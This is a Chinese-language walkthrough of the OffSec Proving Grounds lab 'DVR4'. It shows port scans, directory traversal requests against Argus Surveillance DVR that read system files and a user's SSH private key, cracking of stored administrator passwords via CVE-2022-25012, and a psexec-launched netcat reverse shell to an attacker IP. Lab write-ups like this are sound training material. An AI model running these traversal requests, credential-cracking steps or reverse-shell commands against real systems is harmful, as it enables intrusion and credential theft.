本文最后更新于 2026年3月12日 下午
一、靶场详情 靶场名称:
DVR4
靶场地址:
OffSec Proving Grounds Practice 实验环境
二、思路总结 突破边界:
Argus Surveillance DVR 目录遍历 –> Argus Surveillance DVR 用户列表得知用户名 –> 读取用户私钥文件 –> 系统 viewer 用户权限 –> 用户旗帜
权限提升:
Argus Surveillance DVR 用户密码文件 –> 执行密码破解(CVE-2022-25012 ) –> administrator 用户密码 –> psexec 横向移动 –> 系统 administrator 用户权限 –> 管理员旗帜
三、靶场攻击演示 3.1 靶场信息收集 TCP 端口扫描:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 sudo nmap -p- 192.168.170.179 --min-rate=2000 PORT STATE SERVICE 22/tcp open ssh 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5040/tcp open unknown 7680/tcp open pando-pub 8080/tcp open http-proxy 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49667/tcp open unknown 49668/tcp open unknown 49669/tcp open unknown
UDP 端口扫描:未发现有价值信息。
TCP 服务信息搜集:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 sudo nmap -p22,135,139,445,5040,7680,8080,49664,49665,49666,49667,49668,49669 -sCV 192.168.170.179 PORT STATE SERVICE VERSION 22/tcp open ssh Bitvise WinSSHD 8.48 (FlowSsh 8.48; protocol 2.0; non-commercial use) | ssh-hostkey: | 3072 21:25:f0:53:b4:99:0f:34:de:2d:ca:bc:5d:fe:20:ce (RSA) |_ 384 e7:96:f3:6a:d8:92:07:5a:bf:37:06:86:0a:31:73:19 (ECDSA) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 5040/tcp open unknown 7680/tcp open pando-pub? 8080/tcp open http-proxy |_http-title: Argus Surveillance DVR |_http-generator: Actual Drawing 6.0 (http://www.pysoft.com) [PYSOFTWARE] | fingerprint-strings: | GetRequest, HTTPOptions: | HTTP/1.1 200 OK | Connection: Keep-Alive | Keep-Alive: timeout =15, max=4 | Content-Type: text/html | Content-Length: 985 | <HTML> | <HEAD> | <TITLE> | Argus Surveillance DVR | </TITLE> | <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" > | <meta name="GENERATOR" content="Actual Drawing 6.0 (http://www.pysoft.com) [PYSOFTWARE]" > | <frameset frameborder="no" border="0" rows="75,*,88" > | <frame name="Top" frameborder="0" scrolling="auto" noresize src="CamerasTopFrame.html" marginwidth="0" marginheight="0" > | <frame name="ActiveXFrame" frameborder="0" scrolling="auto" noresize src="ActiveXIFrame.html" marginwidth="0" marginheight="0" > | <frame name="CamerasTable" frameborder="0" scrolling="auto" noresize src="CamerasBottomFrame.html" marginwidth="0" marginheight="0" > | <noframes> | <p>This page uses frames, but your browser doesn't support them.</p> |_ </noframes> 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2025-09-12T01:28:26 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required |_clock-skew: -2s
系统为 Windows 环境,开放有 HTTP、SSH 和 Windows 的一些默认服务。
3.2 渗透测试突破边界 3.2.1 Argus Surveillance DVR 目录遍历(CVE-2018-15745),得到 Viewer 用户私钥 访问靶机 HTTP 80 服务,点击 帮助 - 关于 可得到应用版本信息:Argus Surveillance DVR 4.0。
searchsploit 检索发现,发现应用历史存在多个漏洞,其中包含本地提权、目录遍历和密码破解漏洞。
1 searchsploit Argus Surveillance DVR
使用目录遍历漏洞成功读取到 C:\windows\win.ini 文件。
1 https://www.exploit-db.com/exploits/45296
1 curl "http://192.168.170.179:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="
在网页用户列表中可得到用户信息,由于靶机开放有 ssh 服务,可尝试读取用户私钥文件。
1 curl "http://192.168.170.179:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusers%2Fviewer%2f.ssh%2Fid_rsa&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="
将读取的私钥保存至文本并赋予 600 权限,一定注意: 私钥文件最后一行需要换行。
使用私钥 ssh 连接,获取到系统 Viewer 用户权限。
1 ssh -i id_rsa viewer@192.168.170.179
这里第一时间并没有尝试读取私钥,初步访问 Argus Surveillance DVR 应用时,由于之前遇到到过类似应用,也不了解应用的运行逻辑,比较模糊,一直在尝试漏洞利用,也尝试利用了前面提到的密码破解漏洞,可能由于网站权限的限制根据漏洞利用代码,并没有读取到用户 hash,而且在网站用户界面也不存在认证功能,思来想去最终尝试根据用户列表读取用户私钥,结果成功读取。
3.2.2 用户旗帜获取
3.3 提权获取系统管理员权限 3.3.1 Argus Surveillance DVR 密码破解(CVE-2022-25012 )得到 administrator 密码 提权过程尝试了枚举计划任务、系统服务、以及系统安装的第三方应用漏洞,都没有发现通往管理员权限的有效路径。系统 C 盘根目录存在一个 output.txt 文件,文件中透露了系统会以管理员权限执行 powershell 脚本,想着通过泄露的信息创建脚本,然后找到触发该程序的方法,就可得到管理员权限,而这恰好是靶机的兔子洞,虽然当前用户拥有重启计算机的特权,但执行重启会提示权限错误,也找不到其他可触发脚本的方式,只能放弃该线索。
由于突破边界的时候尝试利用目录遍历读取 Argus Surveillance DVR 密码文件,结果并没有读取用户 hash,也就忽略了突破靶机后再次枚举该文件。
1 curl "http://192.168.170.179:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FProgramData%2FPY_Software%2FArgus%20Surveillance%20DVR%2FDVRParams.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="
事实上在靶机是可以通过 Argus Surveillance DVR 密码文件读取到 administrator 用户 hash,也可能目录遍历过程截断了部分内容,导致显示不完整。
1 C:\ProgramData\PY_Software\Argus Surveillance DVR>type DVRParams.ini
使用 searchsploit 中 Argus Surveillance DVR 密码破解脚本时,会出现最后一组 hash 无法破解,主要由于该脚本的字典缺少了 D9A8 明文定义。
搜索引擎检索 CVE-2022-25012 漏洞利用代码,在 github 找到另一个利用脚本,可全部破解得到 administrator 用户明文。
1 https://github.com/s3l33/CVE-2022-25012
直接使用 ssh 无法进行登录,需通过靶机 viewer 家目录 psexec 工具执行反弹 shell,获取到系统 administrator 用户权限。
1 2 3 4 5 rlwrap nc -lvnp 80 psexec.exe -i \\dvr4 -u administrator cmd /c "C:\Users\viewer\nc.exe 192.168.45.236 80 -e cmd"
事情可能没有想象中的那么复制,考虑的太多反而会越走越远,当然靶机可能会出现各种兔子洞,这时候就需要我们非常警觉,避开这些消耗我们时间的无用线索。
3.3.2 管理员旗帜获取
Thanks
如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡
最后,祝您生活愉快!🌞✨